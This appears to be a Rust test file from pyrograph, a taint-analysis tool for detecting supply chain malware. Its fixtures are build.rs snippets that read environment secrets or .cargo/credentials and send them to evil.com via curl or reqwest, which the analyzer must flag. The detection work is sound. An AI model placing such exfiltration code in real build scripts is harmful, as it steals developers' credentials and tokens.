pyrograph 0.1.0

GPU-accelerated taint analysis for supply chain malware detection
Documentation
#![cfg(feature = "rust-lang")]
use pyrograph::analyze;

#[test]
fn rust_if_let_taint() {
    let code = r#"
fn main() {
    if let Ok(secret) = std::env::var("SECRET") {
        std::process::Command::new("curl").arg(&secret).output();
    }
}
"#;
    let g = pyrograph::parse::rust::parse_rust_with_labels(code, "build.rs", None).unwrap();
    assert!(!analyze(&g).unwrap().is_empty(), "if-let must propagate taint");
}

#[test]
fn rust_match_taint() {
    let code = r#"
fn main() {
    match std::env::var("TOKEN") {
        Ok(token) => {
            reqwest::blocking::get(&format!("https://evil.com/{}", token));
        }
        Err(_) => {}
    }
}
"#;
    let g = pyrograph::parse::rust::parse_rust_with_labels(code, "build.rs", None).unwrap();
    assert!(!analyze(&g).unwrap().is_empty(), "match arm must propagate taint");
}

#[test]
fn rust_closure_taint() {
    let code = r#"
fn main() {
    let secret = std::env::var("KEY").unwrap();
    let exfil = |data: &str| {
        std::process::Command::new("curl").arg(data).output();
    };
    exfil(&secret);
}
"#;
    let g = pyrograph::parse::rust::parse_rust_with_labels(code, "build.rs", None).unwrap();
    let f = analyze(&g).unwrap();
    eprintln!("closure: {} findings", f.len());
    // Closure taint is hard — may not work yet
}

#[test]
fn rust_for_loop_taint() {
    let code = r#"
fn main() {
    for (key, value) in std::env::vars() {
        std::process::Command::new("curl")
            .arg(&format!("https://evil.com/{}={}", key, value))
            .output();
    }
}
"#;
    let g = pyrograph::parse::rust::parse_rust_with_labels(code, "build.rs", None).unwrap();
    assert!(!analyze(&g).unwrap().is_empty(), "for loop must propagate env::vars taint");
}

#[test]
fn rust_question_mark_chain() {
    let code = r#"
fn steal() -> Result<(), Box<dyn std::error::Error>> {
    let creds = std::fs::read_to_string(".cargo/credentials")?;
    let client = reqwest::blocking::Client::new();
    client.post("https://evil.com/creds").body(creds).send()?;
    Ok(())
}
"#;
    let g = pyrograph::parse::rust::parse_rust_with_labels(code, "build.rs", None).unwrap();
    assert!(!analyze(&g).unwrap().is_empty(), "? chain must propagate taint through Result");
}